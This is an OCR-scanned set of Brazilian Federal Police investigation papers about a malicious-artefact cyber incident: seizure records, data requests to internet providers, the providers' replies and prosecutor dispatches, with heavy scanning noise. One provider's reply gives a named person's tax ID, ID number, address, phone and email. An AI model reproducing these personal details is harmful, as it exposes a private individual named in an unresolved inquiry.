177165110249 21/04/2018 10:01:29 21/04/2018 12:40:46
186197 65147 21/04/2018 12:56:05 21/04/201815:04:14

Tambem sugere-se a solicitaoao do contendo referente a hospedagem da Locaweb

Servigzos de Internet S/A utilizada para baixar o artefato malicioso:

DATA/HORA ENDERECO IP

18/04/2018 00 23 48 191.252.0.19

1\§t

Brasilia/DF, 19 de mar<;o de 2019

IRA D - ' ILVA
Criminal Fe eral

Com esta Infomagao, devolve-se o material supracitado. Era 0 que havia a relatar
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SERVIOO PUBLICO FEDERAL ~

MSP? POL1C|A FEDERAL
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL

SA1S’Quadra 7 - Lote 23 - Setor Policial Sul: Brasilia/DF - CEP 70.610-902

AUTO DE APREENSAO N° 184/2019
' . 1PL-1361/2018-4'-SR/PF/DF ‘

Ao(5)18 dia(s) do més de abril de 2019, nesta SUPERINTENDENCIA REGIONAL DE
POL1ClA FEDERAL NO DISTRITO FEDERAL, em Brasilia/DF, onde se encontrava
VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, pelo mesmo foi
determinado que se tornasse efetiva a apreenséo, na forma da Lei, do material abaixo
discriminado: i

5P1§@,P$59"°?_134/2°_19_ . . - . .
Item Descrigao Quant. Unidade Observagao '1 A A

1 Hd computador 1 1 1 ' UN HD externo, marca Multilaser,
na cor prata, encaminhado

: ' juntamente com a lnformaoao
_ ‘ O O 002/2019-UTC/SRCC

2 Pen drive 1 1 1 ' UN Pen Drive, capacidade 88 GB,
na cor preta e prata,
encaminhado juntamente com
a ' lnformagao\

1 002/2019-UTC/SRCC

Referida apreensao ‘se deu em cumprimento ao Item 3 do Despacho da Autoridade
Policial (fls, 30). Nada mais havendo, determinou a autoridade o encerramento do
presente que, Iido e achado conforme, assinam) comigo, LEONARDO BRUCE
MADUREIRA LOPES, Escrivéo de Po1icia1,Fed al a testemunhas. A

1

AUTORIDADE: ...................................... ................ ..

E$CR1VAO(Aj ...... ............................................................................ ..

1.,
\

IPL N° 1361/2018 fls. 1 /1
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A Sua Senhoria o Chefe

Senhor Chefe,

APREENSAO 11° 184/2019

cn

CEU11

1"
po

' .71.

1O

> —~—
sERv|oo PUBLICO FEDERAL

_ MSP - POLICIA FEDERAL .
SUPERINTENENCIA REGIONAL NO DISTRITO FEDERAL

SAIS Quadra 7 - Lote 23 .- Setor Policial s01; Brasilia/DF - CEP 70.610-902

Ofioio n° 3415/2019 »1PL 1361/201844 SR/PF/DF -. GRCC

Em 18 de abril de 2019.

do Deposito/SR/PF/DF, '
Escrivao de Policia Federal

Assunto: Encaminha material apreendido.
Referéncia: IPL n9 1361/2018.-4-SR/PF/DF

Enoaminho para fins de guarda em Deposito, o material abaixo descrito,
conforme item 3 do Despacho de fl. 30. ,

'ltemDé'sCr1'(§€1o"""' “Quant. Unidade obsewé¢5'o ' ‘ A
1 UN"1 Hd éomputador ' . HD eXterho','mar'ca.' 1\/11]|ti1a'ser, na

cor prata, encaminhado
untamente com a lnformagéo
O02/2019-UTC/SRCC

"2 Pen drive " 1 UN Pen Drive, Capacidade 8 GB, 'na
cor preta e prata, encaminhado
untamente com a lnformagao

1 002/2019-UTC/SRCC

IPL N° 1361/2018

Atenciosamente, ,

VICTOR NEVE1S E: SA CAMPOS
De1egado1d Poicia Federal .

Classe Especia ~ M tricula n° 1 9' \ 11/
; :1 :

1' .4"' I 1” A
111;1!€z.;g»;1.f'. matricula n:1recebi 0 material acima

descritm

1% .
1

.._' ' .1./._A.. 9 ,
O I
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SERVIQO PUBLICO FEDERAL
. MSP - POLICIA FEDERAL '

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n° 3417/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 18 de abril de 2019.

A Sua Senhoria o Senhor
Diretor-Presidente da Locaweb Servicos de Internet S/A.
Rua ltapaiuna, 2434
Sao Paulo- SP.
CEP O5707—O01

Assunto: Requisita informagoes cadastrais
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

' Senhor(a)Diretor(a; .

1- Cumprimentando»o, sirvo-me do presente para, visando a instruir os autos do
lnquérito Policial em. epigrafe, REQUISITAR a Vossa Senhoria informacoes sobre os dados
cadastrais de usuario, conforme esclarecimentos que seguem.

2- Por obvio, e ainda mais ante a expressa previsao legal, 0 acesso aos dados
cadastrais nao estao agasalhados pelo inciso X, do artigo 5°, da Constituicao Federal, de modo
que nao se contrapoe ao principio da inviolabilidade da intimidade a permissibilidade de acesso
a essas informagoes sem prévia autorizacao judicial.

3- Alias, como reconhecido pelo proprio legislador patrio, com a insercao do Art.
17-B, na Lei 9.613/98 ("An‘. 17-B. A autoridade policia! e o Ministério Publico terao acesso,
exclusivamente, aos dados cadastrais do investigado que informam qualificacéo pessoal,
fi/iagao e endereco, independentemente de autorizacao judicial, mantidos pela Justica Eleitoral,
pelas empresas te/efonicas, pelas instituigoes financeiras, pelos provedores de Internet e pelas
administradoras de cartao de crédito") e, posteriormente, com o Art. 2°, §2°, da Lei
12.830l2013 ("§ 20 Durante a investigacao criminal, cabe ao de/egado de policia a requisigao
de pericia, informagoes, documentos e dados que interessem a apuracéo dos fatos") e art. 15,
da Lei 12.850l2013 ("Art. 15. O de/egado de policia e 0 Ministério Pub/ico teréo acesso,
independentemente de autorizacéo judicial, apenas aos dados cadastrais do investigado que
inforrriem exclusivamente a qua/ificagao pessoal, a filiacao e 0 enderego mantidos pela Just/ga
Eleitoral, empresas te/efonicas, instituigoes financeiras, provedores de Internet e
administradoras de cartao de crédito"), a Autoridade Policial pode-_ REQUISITAR dados
cadastrais de investigados, ou seja: qualificacao pessoal, documentos e endereco,
INDEPENDENTEMENTE DE AUTORIZAQAO JUDICIAL, mantidos pelas empresas provedoras
de servicos na internet.

DA_REQLll§lQAQ

4— Sendo assim, REQUISITO os dados cadastrais do usuario do IP 191.252.64.20,
em 17/O4/2018, as 21:46:26 e 18/04/2018, as 06:36:35, bem como o conteudo referente a
hospedagem que utilizou o IP 191.252.0.19, em 18/04/2018, as 00:23:48.

lPL N° 1361/2018 fls. 1 /2

SR/PF/E-F
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SERVIQO PUBLICO FEDERAL

MSP - POLICIA FEDERAL. l
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL

SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

-DQ,..,.' .AT..
5- Assinalo 0 PRAZO de 10 (dez) dias para 0 atendimento, do recebimento.

6- Visando a possibilitar o atendimento em tempo habil, informo que a resposta
devera ser encaminhada para o endereco eletronico <grcc.df@dpf.gov;br>, devendo o
original também ser encaminhado fisicamente ao signatario, no Grupo de Repressao a
Crimes Cibernéticos (GRCC) da Superintendéncia Regional da Policia Federal em
Brasilia/DF, enderego descrito no cabegalho do presente oficio.

QAS c0mmA<;f>§s LEGAIS EM ¢A$0 QE MAO AIENQLMENT0
7- Registro, por oportuno, que o nao atendimento injustificado no prazo implicara na

caracterizacao da pratica do crime de desobediéncia e/ou de sonegacao de documento,
sujeitando os responsaveis pela recusa indevida, as penas do artigo ,21 da Lei 12.850/2013
(Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informacoes
requisitadas pelo juiz, Ministério Pub/ico ou Delegado de Policia, no curso de investigacéo ou
do processo: Pena - rec/usao, de 6 (seis) meses a 2 (dois) anos, e mu/ta).

8 - Ressalto, porfim, que a divulgagao do conteudo desta requisicao ao proprietario
da conta ou a terceiros podera caracterizar 0 crime previsto no paragrafo unico do art. 21, da
Lei 12.850/2013: “Na mesma pena incorre quem, de forma indevida, se apossa, propala,
divu/ga ou f_az uso dos dados cadastrais de que trata esta Lei“ e/ou o crime previsto no art. 153,
§ 10-A, do Codigo Penal: "Divu/gar, sem justa causa, informacoes sigilosas ou reservadas,
assim definidas em lei, contidas ou néo nos sistemas de informagoes ou banco de dados da
Administragao Pub/ica: Pena - detencéio, de 1 (um) a 4 (quatro) anos, e mu/ta."

Atenciosamente,.

VICTOR NEVE ITOSA CAMPOS
Delegado olicia F/ederal

Classe Especi - tric la n° 16.179
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Oficio n° 3418/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 18 de abril de 2019.

A Sua Senhoria o(a)Senhor(a)
Diretor Juridico
Empresas CLARO/NET/EMBRATEL
Rua Verbo Divino, n° 1356, Térreo
Chacara Santo Antonio - Zona Sul
Sao Paulo/SP - CEP 04.719-O02

Assunto: Requisita informacoes cadastrais
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhor(a)Diretor(a) -

1- Cumprimentando-o, sin/0-me do presente para, visando a instruir os autos do
lnquérito Policial em. epigrafe, REQUISITAR a Vossa Senhoria informacoes sobre os dados
cadastrais de usuario, conforme esclarecimentos que seguem.

2- Por obvio, e ainda mais ante a expressa previsao legal, 0 acesso aos dados
cadastrais nao estao agasalhados pelo inciso X, do artigo 5°, da Constituicao Federal, de modo
que nao se contrapoe ao principio da inviolabilidade da intimidade a permissibilidade de acesso
a essas informacoes sem prévia autorizacéo judicial.

3- Alias, como reconhecido pelo proprio legislador patrio, com a insercao do Art.
17-B, na Lei 9.613198 ("Art 17-B. A autoridade policia! e 0 Ministério Publico teréo acesso,
exclusivamente, aos dados cadastrais do investigado que informam 'qua//ficagao pessoal,
filiagao e endereco, independentemente de autorizacao judicial, mantidos pela Justiga Eleitoral,
pelas empresas telefénicas, pelas instituicoes financeiras, pelos provedores de Internet e pelas
administradoras de cartéo de crédito") e, posteriormente, com o Art. 2°, §2°, da Lei
12.830l2013 ("§ 20 Durante a investigacao criminal, cabe ao de/egado de policia a requisigéo
de pericia, informacoes, documentos e dados que interessem a apuragéo dos fatos") e art. 15,
da Lei 12.850/2013 ("Art. 15. O de/egado de policia e 0 Ministério Pub/ico terao acesso,
independentemente de autorizacao judicial, apenas aos dados cadastrais do investigado que
informem exclusivamente a qua/ificacao pessoal, a filiagao e o enderego mantidos pela Justiga
Eleitoral, empresas te/efénicas, instituicoes financeiras, provedores de Internet e
administradoras de cartéo de crédito"), a Autoridade Policial pode REQUISITAR dados
cadastrais de investigados, ou seja: qualificacao pessoal, documentos e endereco,
INDEPENDENTEMENTE DE AUTORIZACAO JUDICIAL, mantidos pelas empresas provedoras
de servigos na Internet. ’

DA_BEQ!.1I§l§AQ

4- Sendo assim, REQUISITO os dados cadastrais dos usuarios do IP
201.81.167.53, em 18/04/2018, as 03:15:28 e 21/O4/2019, as 08:36:42, e do IP 201.6.129.235,
em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.

IPL N° 1361/2018 fls. 1 /2

Fl. 242
SR/PF/DF

2020.0043195



§ I--___ _i_

~ git. ' 3R/PF/DP1. IFI:
bfufi. :"~ 4’

-
" SERVICO PU_BLlCO FEDERAL

MSP - POLICIA FEDERAL
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL

SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

 >P .  T0 F
5- Assinalo 0 PRAZO de 10 (dez) dias para 0 atendimento, do recebimento.

6- Visando a possibilitar 0 atendimento em tempo habil, informo que a resposta
devera ser encaminhada para o endereco eletronico <g_rcc.df@dpf.gov.br>, devendo o
original também ser encaminhado fisicamente ao signatario, no Grupo de Repressao a
Crimes Cibernéticos (GRCC) da Superintendéncia Regional d_a -Policia Federal em
Brasilia/DF, enderego descrito no cabegalho do presente oficio.

 5E$ L-E,G,AJ$.E.|.V.| C/\$Q D_§..NAO AIENDIMENIQ
7- Registro, por oportuno, que o nao atendimento injustificado no prazo implicara na

caracterizacao da ‘pratica do crime de desobediéncia e/ou de sonegagao de documento,
sujeitando os responsaveis pela recusa indevida, as penas do artigo 21 da Lei 12.850/2013
(Art, -21 - Recusar ou omitir dados cadastrais, registros, documentos e informacoes
requisitadas pelo juiz, Ministério Pub/ico ou Delegado de Policia, no curso de investigacao ou
do processo: Pena - rec/usao, de 6 (seis) meses a 2 (dois) anos, e multa).

8 - Ressalto, por fim, que a divulgagao do conteudo desta requisigao ao proprietario
da conta ou a terceiros podera caracterizar o crime previsto no paragrafo unico do art. 21, da
Lei 12.850/2013: "Na- mesma pena incorre quem, de forma indevida, se apossa, propala,
divu/ga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153,
§ 10-A, do Codigo Penal: "Divu/gar, sem justa causa, informacées sigilosas ou resen/adas,
assim definidas em lei, contidas ou nao nos sistemas de informacoes ou banco de dados da
Administracéo Pub/ica: Pena — detencéo, de 1 (um) a 4 (quatro) anos, e mu/ta."

Atenciosamente,

VICTOR NEV _,S ITOSA CAMPOS
Delegad e olicia Federal

Classe Espe i I - a ricula n° 16.179
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Oficio n° 3419/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC _

' Brasilia/DF, 18 de abril de 2019.

A Sua Senhoria O(a)S€l'l|'IOr(a)
Di_ret0r<a)da Empresa TIM BRASIL
Av. Alexandre Gusmao, 29, Bloco C, Vila Omero Tom
Santo Andre/SP - CEP. 09.015-970 ,

Assunto: Solicitacao de informacoes
Ref.: IPL 1361/2018-.4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhor(a)Diretor(a; -

1. Cumprimentando-o, sirvo-me do presen_te para, visando a instruir os autos do lnquérito
Policial em epigrafe, REQUISITAR a Vossa Senhoria informacoes sobre os dados cadastrais de usuario,
conforme esclarecimentos que seguem. - A

2- Por obvio, e ainda mais ante a expressa previsao legal, 0 acesso aos dados cadastrais
nao estao agasalhados pelo inciso X, do artigo 5°, da Constituicao Federal, de modo que nao se
contrapoe ao principio da inviolabilidade da intimidade a permissibilidade de acesso a essas informacoes
sem previa autorizagao judicial.

3- Alias, como reconhecido pelo proprio legislador patrio, com a insercao do Art. 17-B, na
Lei 9.613l98 (“Art. 17-B. A autoridade policial e o Ministério Publico terao acesso, exclusivamente, aos
dados cadastrais - do investigado que informam qualificagao pessoal, filiagao e enderego,
independentemente de autorizagao judicial, mantidos pela Justiga Eleitoral, pelas empresas telefonlcas, l
pelas instltuigoes financeiras, pelos provedores de internet e pelas administradoras de cartéo de crédito") I
e, posteriormente, com 0 Art. 2°, §2°, da Lei 12.830l2013 ("§ 20 Durante a investigagao criminal, cabe
ao de/egado de policia a requisigao de pericia, informagoes, documentos e dados que interessem a
apuracao dos fatos") e art, 15, da Lei 12.850/2013 (“Art 15. O de/egado de policia e 0 Ministério PUD//CO
terao acesso, independentemente de autorlzacao judicial, apenas aos dados cadastrais do investigado
que informem exclusivamente a qualiflcacao pessoal, a filiagao e o enderego mantidos pela Justica
Eleitoral, empresas telefonicas, lnstituigoes financeiras, provedores de Internet e administradoras de
cartao de crédito"), a Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja:
qualificacao pessoal, documentos e endereco, INDEPENDENTEMENTE DE AUTORIZACAO JUDICIAL,
mantidos pelas empresas provedoras de servicos na internet.

4- Sendo assim, REQUISITO os dados cadastrais dos usuarios dos IP:
189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189.40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21;17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018,"as 01:13:32
189.40.90.253, em 19/04"/2018, as 04:08:37
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5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, a contar do recebimento.

6- Visando a possibilitar o atendimento em tempo habil, informo que a resposta devera ser
encaminhada para 0 endereoo eletronico <grcc.df@dpf.gov.br>, devendo 0 original também ser
encaminhado fisicamente ao signatario, no Grupo de Repressao a Crimes Cibernéticos (GRCC) d_a
Superintendéncia Regional da Policia Federal em Brasilia/DF, enderego descrito no cabegalho do
presente oficio. I

P co - 6  G s EM c.A$<> DE MAO ALENDLMELIIQ QA_REQUl$l.¢A0 N0
_v _ O SSI _ 7

7- Registro, por oportuno, que o nao atendimento injustificado no prazo implicara na
caracterizacao da pratica do crime de desobediéncia elou de sonegacao de documento, sujeitando os
responsaveis pela recusa indevida, as penas do artigo 21 da Lei 12.850/2013 (Art._ 21 - Recusar cu’ omitir
dados cadastrais, registros, documentos e informagoes requisitadas pelo juiz, Ministério Publico ou
Delegado de Policia, no curso de investigagao ou do processo: Pena - reclusao, de 6 (seis) meses a 2
(dois) anos, e multa). ' _ ‘ '

8 - Ressalto, por fim, que a divulgacao do conteudo desta requisicao ao proprietario da conta
ou a terceiros podera caracterizar o crime previsto no paragrafo unico do art. 21, da Lei 12.850/2013: "Na
mesma pena incorre quem, de forma indevida, se apossa, propala, divulga ou faz uso dos dados
cadastrais de que trata esta Lei" elou 0 crime previstoino art. 153, § 10-A, do Codigo Penal: "Divu/gar,
sem justa causa, lnformagoes sigilosas ou reservadas, assim definidas em lei, contidas ou nao nos
sistemas de informagoes ou banco de dados da Administragao Publica: Pena - detencao, de 1 (um)
a 4 (quatro) anos, e mu/ta."

Atenciosamente, _

VICTOR NEV ’ I O A CAMPOS
Delegado Pol cia Federal

Classe Especi - Ma, i_cula n9 16.179
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' " ' "'RE'MESS".A 2' I
Ministério Publico Federal do DF

A015) _ /04/2019, faco remessa dos autos do IPL n
13 , contendo 1 volume(s) e 0 apenso(s). Eu
‘_ ; LEONARDO BRUCE MADUREIRA LOPES,Escrivé

' ta Federal, 1“‘Class,e,,Ma_tr_icula_n° 17.933, que o lavrei. j

IPL N° 1361/2018
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MlNIS’l‘l~'1RIOP'UBl.ICOFEDERAL ‘
PROCURADORIA DA REPUBLICA N0 DISTRITO FEDERAL

‘ . COORDENADORIA JURIDICA
DIVISAO CRIMINAL .

\ \

AUTOSLDPF/DF-1361/2018-INQH 2 ' ‘

' . _ CERTIDAO ’ .
\ , 6 ~

. Certifico que, em 22/04/2019, deram entrada na Procuradoria da Republica no Distrito Federal os presentes autos e, nesta
data, conf0rme'regras estabelecidas no Congresso Intemo de 2018 e na Resolucao 31/2018, faco sua: ‘

-v ' -

Movimcntacao a0(a) Procurador(a) da Republica; Dr.(a) Igor Nery Figueiredo, ‘ _ \
'@ Por ser 0(a) titular do PRDF — 2° Oficio de CCI, ao qual 0 presente feito encontra-se distribuido.
C) Por ser 0(a) titular dq PRDF — Oficio de Mcio Ambicntc e Patriménio Cultural, ao qual o presente feito encontra-

. se distribuiclo. _
' Q Por ser 0(a) titular do PRDF - Oficio de CCI, substitute nao designado.

Q ' atuando n0=
acervo do ~PRDF - _ . ' ' _

O A,pedido. , ‘

u Brasilia, 104/

r r _ . 1

Ana Rad e Dauz er - mat. 25657-9

~ ‘ ‘

Divis‘ MINAL _
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' . » CERTIDAO DE REM ESSA

Em2_S/ O E/2019, facoremessa dos presentes autos, contendo '_A_*volume(s) e anexo/apenso(s), a (ao)
III Justica Federal/DF Q Departamcnto de Policia Fed7al III 7

@1111; 74101-2/' - I
Responsavel/Matricula
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6; Mimsteno Publlco Federal
“ Procuradoria da Republica no Distrito Federal
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"§'1 3 h$I~‘V.

IPL n° 1361/2018 SR/DPF/DF

Sr.(a) Delegado(a) de Policia Federal,

O presente inquérito nao se encontra suficientemente instruido, havendo

necessidade de prosseguimento das investiga<;6es com vistas a fonnacao da opinio delicti.

Destarte, este orgao ministerial concede novo prazo de 90 (noventa) dias

para a realizacao das diligéncias indispensaveis ao esclarecimento dos fatos sob apuracao,

conforme solicitado no despacho de fl. 30.

Brasilia/DF, 25 de abril dc 2019.

‘ IGOR RYFIG no
Proc $1 dor da '\ . blica

PR/DF I SGAS 604, Lote Z3, Av. L2 Sul, Brasilia/DF CEP:70Z00-640
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Aej feteestesauloe,

conten=;20___,__,_ , _._. ___ _ apenso(s).
De que, para r:=:».::_;;l-.', en”

I Escrifiatal D; F’; iloie I:=:;;ieraI iuvro este termr.
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CERTIDAO
CERTIFICO que em virtude do afastamento da autoridade policial e do auto
encontrarem-se vencidos em sede policial, enca ' o os autos para
DRCOR/SR/PF/DF, para providéncias cabiveis. O r rido ' verdade e do
fé. Brasilia/DF, 07 de agosto de 2019. Eu, - LEONARD
BRUCE MADUREIRA LOPES, Escrivao d Policia ederal, 1“ Classe
Matricula n° 17.933, que a lavrei. U

IPL N° 0511/2017
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IPL n° 1361/201a-4 - SR/PF/DF
DESEAQHQ

.<»~—~

. Junte-se a resposta da empresa Locaweb;

. Junte-se as respostas da empresa TIM Brasil S.A;
Junte-se a resposta da empresa Claro S.A;

4. Junte-se a resposta por email do Tribunal Superior Eleitoral assinada
pelo servido Cristiano Moreira Andrade;

5. Ciente da certidao elaborada pelo EPF BRUCE e considerando que
ainda restam pendentes diligéncias tidas por imprescindiveis ao esclarecimento da
verdade material (art. 4°, do CPP e art. 2°, §1°, da Lei 12.830/2013) e considerando as
disposigoes do Provimento/COGER n° 37/2009 (TRF 1° Regiao), remetam-se estes
autos ao(a) Ministério Publico Federal do DF, ara fins de controle externo (Art. 129,
VII, da CF/88, clc. o Art. 9°, ll, da LC ), soli itando posterior devolucao para
continuidade das investigacoes ou, caso de apr sentaoao de peca acusatoria ou
promocao de arquivamento, c unicacao for al da medida adotada a esta
Superintendéncia, para fins de gistro e b ' sistemas de controI_e,interno.

rasili , de agosto de 2019.
‘7/I ’g\,____/_ __

/
/L-IUGO DE BARROS CORREIA

Delegado de Policia Federal
Classe Especial - Matricula n° 10.522

DRCOR/SR/PF/DF

DATA

A015) 07/08/2019, re9.ebi~estes autos do(da) Delegado(a) HUGO DE BARROS
CORREIA. Eu, LEONARDO BRUCE MADUREIRA LOPES, Escrivao de
Policia Federal, ueo \/r '.

J U N T A D A

A015) 07/08/2019, faco juntadaitfi autos do<s)documento<S) referido(s> no
Despacho retro. Eu, é 5 LEONARDO BRUCE MADUREIRA
LOPES, Escrivao de Policj der 1, que o lavrei.

IPL N° 1361/2018
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locaweb11
Paixdo por desenvolver

Sao Paulo, 02 de maio de 2019.
A0 , A
SERVIQO PUBLICO FEDERAL i No s§\
MSP — POLICIA FEDERAL K,-f$"U\()Q sR“;p|DF_
SUPEINTENDENCIA REGIONAL NO DISTRITO FEDERAL I “A ‘°c°\oINF\D' " '
SAIS — Quadra 7 -Lote 23 — Setor Policial Sul ,9“;
Brasilia — DF
CEP 70610-902

llmo. Delegado de Policia
Dr. Victor Neves Feitosa Campos '

Ref.: Oficio n° 3417/2019 — IPL 1361/2018-4 SR/PF/DF
— GRCC — Assunto: Requisita Informagfies Cadastrais —
Datado de 18 de abril de 2019 — Recebido em 23 de
abril de 2019.

0 llmo. Dr.,

Em cumprimento tempestivo ao Oficio supra, informamos abaixo os dados cadastrais
relacionados aos IP’s n° 191.252.64.20 em 17.04.2018 as 21:46:26 e 18.04.2018 as 06:36:35 - e -
191.252.0.19 em 18.04.2018 as 00:23:48, respectivamente:

1) Nome: Luiz Henrique Detlinger
CPF: 042.749.858—90
RG1 10275110
Enderego: Rua Santa Inés "
Numero: 99807 SR/DP. .
Bairro: Conjunto Guiomard Santos /5*‘?-5‘?5T:-21’-€"»'.'-'-"Y7-?"‘E7'lV"(")‘S EM‘ 5
Cidade: Rio Branco I§—
Estado:Acre Brasilia-I1 BC Z0161
CEP: 69901-441
Telefone: (12) 3953-9999 &[

‘ E-mail principal:_ednei.pexa@protonmaiI.com ___ |______.___.._-»

2) Aproveitamos para salientar que os IP’s mencionados estao atrelados ao cliente acima, que,
possuia 0 produto de cloud (desativado em julho de 2018), com gerenciamento efetuado pelo
proprio cliente, desta forma, caso seja necessaria maior informagao, tal solicitagao deve ser
direcionada a pessoa acima citada.

3) Ainda, no ‘que tange a solicitagao de vossa senhoria quanto ao conteudo referente a
hospedagem que utilizou o IP 191.252.0.19, primeiramente, cumpre salientar que de acordo
com a Lei do I\/Iarco Civil, os registros de acesso as ap|ica<;6es de internet (IPs, demais logs,
conteudo) somente serao disponibilizados pelos Provedores de Aplicagao, mediante ordem
judicial, o que nao impede 0 acesso a dados cadastrais por autoridades
administrativas/policiais, conforme os mesmos repassados no topico 1. Desta forma,

I
\

Z”7

J -
Rua Itapaiuna, 2434 - Vila Andrade - 05707-001 — Sao Paulo — SP '%
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I Iocaweb?5@
Paixdo por desenvolver

poderiamos repassar tal informacao ( conteudo) apenas com a devida ordem judicial.
Entretanto, confome exposto no topico 2, os servigos foram desativados em 27 de julho de
2018, e assim, adiantamos que nao possuirimos capacidade técnica para o feito de toda forma
visto o lapso temporal,( superior a 6 meses, que é 0 prazo de guarda de dados nos moldes da
lei supracitada), de modo que, jé houve a delegao.

Sendo o que nos cumpria para o momento, apresentando os protestos de elevada estima e
distinta consideragao, subscrevemo-nos.

tenciosamente,

LOCAW S VLQOS DEINTERNETS/A

Rua ltapaiuna, 2434 - Vila Andrade - 05707-001 — S50 Paulo — SP
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-permite o compartilhamento do IPv4 por varios usuarios ao'mesmo tempo através de
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independentemente da porta logica, com a devida vénia, resultara na quebra de sigilo de
milhares,de,usuario_._aIheios_aos_,fatos,\vez que, _frisa-se_,_sem\ Va porta logica nao sera
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Desta forma, em que pese estarmos empenhados em executar as pesquisas, é
I ,. ' _ iimprescindivel que o provedor de conteudo forneca a porta logica utilizada em cada

- conexao realizada a partir d0(s) lP(s) mencionado(s) para que possamos fornecer, de forma
‘ "‘ inequivoca, os dados cadastrais dos usuarios que os utilizaram nas datas e horarios

declinados. (

Sendo 0 que nos cumpria para o momento, permanecernosfa in_t‘eira‘disposig:ao para
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S50 Paulo 8 de Junho de 2019

Ao,Exmo. Sr. Dr. Delegado de Policia da
MSP - policia Federal
Superintendéncia Regional no Distrito Federal
Dr. Victor Neves Feitosa Campos
SAIS Quadra 7 - lote 23 - Setor Policial Sul
CEP 70610-902 - Brasilia/DF
ID n°. 19.155590

Oficio n°: 3418/2018
IPL 136182018-4

A Claro S.A., em atencao ao Oficio em epigrafe, vem manifestar-se nos seguintes termos:

Apos buscas em nossa base de dados, a Operadora vem por meio deste esclarecer que os
endereeo de IP (Internet Protocol) 201.81.167.53 e 201.6.129.235 sao denominados
tecnicamente de IP’s Network Address Translation (NAT).

Explica-se:

Sempre que ocorre uma conexao a intemet, o dispositivo a partir do qual a conexao
ocorreu mantém um registro consistente no endereco de IP de origem do acesso, data e
hora, assim como o fuso horario, dados esses que comp6em o registro de conexao (art. 5°,
VI do Marco Civil da Intemet).

Tais informao6es funcionam como identificador de origem dos acessos dos usuarios.

Contudo, em decorréncia do crescimento acelerado do uso da intemet, a quantidade de
endereoos IP versao 4 — IPV4 (quatro octetos), que identificam univocamente cada
usuario, se esgotou no ano de 2014. Para solucionar 0 problema, foi criado novo modelo
de rede — IPV6, com codificacoes mais longas e, portanto, maior amplitude de enderecos.
Exemplificativamente, é semelhante ao ocorrido com as linhas telefonicas moveis, o que
culminou na adicao do nono digito no ano de 2016.

Porém, tendo em vista que este novo modelo de rede nao esta implementado, em virtude
da complexidade técnica envolvida, restou as Operadoras, mediante autorizacao da
ANATEL e alinhamentos com o grupo de trabalho NIC.br, a utilizacao provisoria do
protocolo de rede NAT para manutencao da taxa de crescimento da rede.

O protocolo de rede NAT viabiliza a utilizaoao do mesmo endereoo de IP,
simultaneamente, por um numero indeterminado de usuarios em conex6es de intemet. A

Rua Verbo Divino, 1356, Térreo, Chacara Santo Anténio, CEP 04719-O02 Sao Paulo/SP.
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S50 Paulo 8 de Junho de 2019

unica forma de distinguir uma conexao da outra e consequentemente, individualizar
qual usuario foi responsavel pelo acesso a intemet — é por meio da Porta Logica de
Origem da conexao.

Desse modo, tratando-se de conexao feita por meio do protocolo NAT, como é o presente
caso, a (mica maneira de a Operadora poder individualizar qual o usuario responsavel pela
conexao que se busca é mediante a combinacao do niimero de IP com o nfimero da Porta
Logica de Origem.

Contudo, a Operadora — que é provedora do conexao, na forma do art. 18 do Marco Civil
da Intemet — nao disp6e desta segunda informacao, pois a obrigacao de registro e guarda
recai exclusivamente sobre o provedor de aplicaoao, conforme estabelece o art. 15 do
mesmo diploma legal. Trata-se do site ou aplicacao de intemet a qual 0 usuario se
conectou, como por exemplo, o Google, Facebook etc.

Diante do exposto, para que a Operadora possa proccder as pesquisas a fim de
individualizar qual usuario utilizou-se do endereco de IP para a conexao a internet, faz-se
necessario 0 fomecimento da Porta Logica do Origem, a qual deve ser obtida diretamente
junto ao provedor de aplicacao.

Assim, requer-se que seja indicado, em novo expediente, 0 endereco de IP, das portas de
origem utilizadas em cada conexao, data, horario e o fuso horario, a fim de viabilizar a
Operadora a busca e 0 fornecimento das informacées requisitadas.

Por fim, destaca-se que a Operadora armazena os registros de conexao pelo periodo de 36
(trinta e seis) meses.

Sendo 0 que havia a infom1ar, permanecemos a disposicao para qualquer esclarecimento
adicional, apresentando, desde ja, votos de elevada estima e consideracao.

 /A
7"0 vi}?'e'k;E_oG_:_or-5
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24/06/2019 Webmail PF - (2375) Caixa de Entrada

Assunto: Resposta - TSE. Indisponibilidade. Dados adicionais.
Dc: Cristiano Moreira Andrade <cristian0.andrade@tse.jus.br>
D813! Scgunda, Junho 10,2019 I4:4l -03
Para: campos.vnfc@dpf.gov.br <campos.vnfc@dpf.gov.br> grcc.df@dpf.gov.br <grcc.df@dpf gov br>
CC! Giuseppe Dutra Janino <giuseppe.janino@tse.jus.br>

Marcelo Carneiro Rodrigues <marceIo.cameiro@tse.jus.br>
ROSp0nd01‘-Pilrfii Cristiano Moreira Andrade <cn'stiano.andrade@tse.jus.br>

Senhores,

Em atencao ao questionamento sobre evidéncias que o TSE possua sobre 0 incidente de setembro/outubro de 2018
informamos:

